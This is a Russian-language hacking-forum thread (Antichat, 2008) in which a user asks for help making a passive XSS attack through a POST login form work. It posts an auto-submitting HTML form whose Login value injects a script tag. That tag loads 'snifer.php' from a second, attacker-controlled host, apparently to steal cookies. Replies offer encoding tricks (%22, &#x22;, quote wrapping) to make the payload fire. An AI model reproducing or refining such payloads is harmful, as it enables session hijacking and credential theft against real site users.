Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript Пасивная Xss через Post

   

Страница 1 из 2 1 2 >

Опции темы

Поиск в этой теме

Опции просмотра

Пасивная Xss через Post   #1   14.01.2008, 03:34 Student :) Участник форума Регистрация: 09.02.2007 Сообщений: 202 Провел на форуме: 537148 Репутация: 9 Пасивная Xss через Post Привет всем со старым НГ!! вот вопрос PHP код: <form name="authForm" id="authForm" method="post" action="http://site.ru/login.php"> <input type="hidden" name="Login" value=""><script src="http://site2.ru/snifer.php"></script>"> <input type="hidden" name="securityCode" value="0000"> <input type="hidden" name="Submit.x" value="67"> <input type="hidden" name="Submit.y" value="16"> <script language="JavaScript" type="text/javascript">document.authForm.submit();</script> </form>  ответ есть но не срабатывает "><script src="http://site2.ru/snifer.php"> нужно обновить страницу тогда работает может както подругому зделать?   Student :) Посмотреть профиль Репутация Отправить личное сообщение для Student :) Посетить домашнюю страницу Student :) Найти все сообщения от Student :) Добавить в друзья   #2   14.01.2008, 03:42 bul.666 Banned Регистрация: 06.06.2006 Сообщений: 944 Провел на форуме: 3986705 Репутация: 1403 Цитата: value=""><script src="http://site2.ru/snifer.php"></script>"> Попробуй вместо " поставить %22 Последний раз редактировалось bul.666; 14.01.2008 в 03:45..   bul.666 Посмотреть профиль Репутация Найти все сообщения от bul.666 Добавить в друзья   #3   14.01.2008, 03:43 Student :) Участник форума Регистрация: 09.02.2007 Сообщений: 202 Провел на форуме: 537148 Репутация: 9 а как быть? просто в качестве логина надо сылку вида "><script src="http://site2.ru/snifer.php">   Student :) Посмотреть профиль Репутация Отправить личное сообщение для Student :) Посетить домашнюю страницу Student :) Найти все сообщения от Student :) Добавить в друзья   #4   14.01.2008, 03:46 bul.666 Banned Регистрация: 06.06.2006 Сообщений: 944 Провел на форуме: 3986705 Репутация: 1403 %22><script src=http://site2.ru/snifer.php></script> Попробуй так   bul.666 Посмотреть профиль Репутация Найти все сообщения от bul.666 Добавить в друзья   #5   14.01.2008, 03:48 Student :) Участник форума Регистрация: 09.02.2007 Сообщений: 202 Провел на форуме: 537148 Репутация: 9 так не работает   Student :) Посмотреть профиль Репутация Отправить личное сообщение для Student :) Посетить домашнюю страницу Student :) Найти все сообщения от Student :) Добавить в друзья   #6   14.01.2008, 03:50 Student :) Участник форума Регистрация: 09.02.2007 Сообщений: 202 Провел на форуме: 537148 Репутация: 9 в поле логин %22><script src=http://site2.ru/snifer.php></script>   Student :) Посмотреть профиль Репутация Отправить личное сообщение для Student :) Посетить домашнюю страницу Student :) Найти все сообщения от Student :) Добавить в друзья   #7   14.01.2008, 03:51 Student :) Участник форума Регистрация: 09.02.2007 Сообщений: 202 Провел на форуме: 537148 Репутация: 9 так работает &#x22;><script src=http://site2.ru/snifer.php></script>!!! но надо обновить страницу чтоб выполнился <script src=http://site2.ru/snifer.php></script>   Student :) Посмотреть профиль Репутация Отправить личное сообщение для Student :) Посетить домашнюю страницу Student :) Найти все сообщения от Student :) Добавить в друзья   #8   14.01.2008, 03:51 bul.666 Banned Регистрация: 06.06.2006 Сообщений: 944 Провел на форуме: 3986705 Репутация: 1403 Ой торможу =) value='"><script src=http://site2.ru/snifer.php></script>'>   bul.666 Посмотреть профиль Репутация Найти все сообщения от bul.666 Добавить в друзья   #9   14.01.2008, 12:09 Student :) Участник форума Регистрация: 09.02.2007 Сообщений: 202 Провел на форуме: 537148 Репутация: 9 Помогите решить с меня +   Student :) Посмотреть профиль Репутация Отправить личное сообщение для Student :) Посетить домашнюю страницу Student :) Найти все сообщения от Student :) Добавить в друзья   #10   14.01.2008, 12:11 Isis Флудер Регистрация: 20.11.2006 Сообщений: 3,316 Провел на форуме: 16641028 Репутация: 2371 Юзай FireBug в фф, там нажать применить и обновишь страницу, все ок будет   Isis Посмотреть профиль Репутация Отправить личное сообщение для Isis Посетить домашнюю страницу Isis Найти все сообщения от Isis Добавить в друзья

Страница 1 из 2 1 2 >

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Dle есть ли пасивная Xss ?	Student :)	Уязвимости	1	25.12.2007 19:43
через xss куки на снифер	LeopardSS	E-Mail	1	20.01.2006 21:18
Взлом IBP 2.0.4 через Xss	Astro	Форумы	3	29.11.2005 21:29
Xss Расширенный межсайтовый скриптинг	SNIFF	Чужие Статьи	0	24.11.2005 08:08
Cross Site Scripting FAQ	k00p3r	Уязвимости	6	12.06.2005 16:23

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход Мой кабинет Личные сообщения Подписки Кто на форуме Поиск по форуму Главная страница форума ИНФО     Мировые новости     Статьи         Авторские статьи         Чужие Статьи Безопасность и Уязвимости     Избранное     Уязвимости         Сценарии/CMF/СMS         Форумы         Расшифровка хешей         E-Mail         ICQ         Чаты     Безопасность         *nix         Soft - *nix         Windows         Soft - Windows         Анонимность         АнтиАдмин         Защита ОС: вирусы, антивирусы, файрволы.     Электроника и Фрикинг         Новости мира "железа"         Сотовый фрикинг         Аппаратное обеспечение         Схемы и программы         Телефония и связь         Беспроводные технологии/WPAN/WLAN     Администрирование         *nix системы         Windows системы         AntiDDos - АнтиДДОС     Проверка на уязвимости Программирование     PHP, PERL, MySQL, JavaScript         ПО для Web разработчика     С/С++, C#, Delphi, .NET, Asm     Реверсинг SЕО/Финансовые задачи/Социальные сети     SЕО - тонкости, методы раскрутки         Партнерки         Услуги, Покупка и Продажа в SEO         Платежные системы: Webmoney, Yandex Деньги, РБК Деньги и т. д.         Белые методы раскрутки         Черные методы раскрутки         Обсуждение Ваших сайтов         Статьи     Покупка, Продажа, Обмен         Разное - Покупка, продажа, обмен         VPN, Proxy, Socks - Покупка, продажа         Хостинг, Dedicated, VDS, Сервера - Покупка, продажа         Инвайты, mails, базы - Покупка, продажа         Доступы, shells, ftp - Покупка, продажа         Мобильная связь, СМС - Покупка, продажа         Трафик, лоады, инсталлы, загрузки - Покупка, продажа         О Работе         Покупка, продажа, услуги в Соц. Сетях         ICQ - Покупка, продажа     Социальные сети         Покупка, продажа, услуги в Соц. Сетях     Хостинги - Hostings Оффтоп     Болталка     Forum for discussion of ANTICHAT     Квесты         Antichat's Quest Antichat     Правила форума     Новости форума     Video.Antichat         Комментарии к видео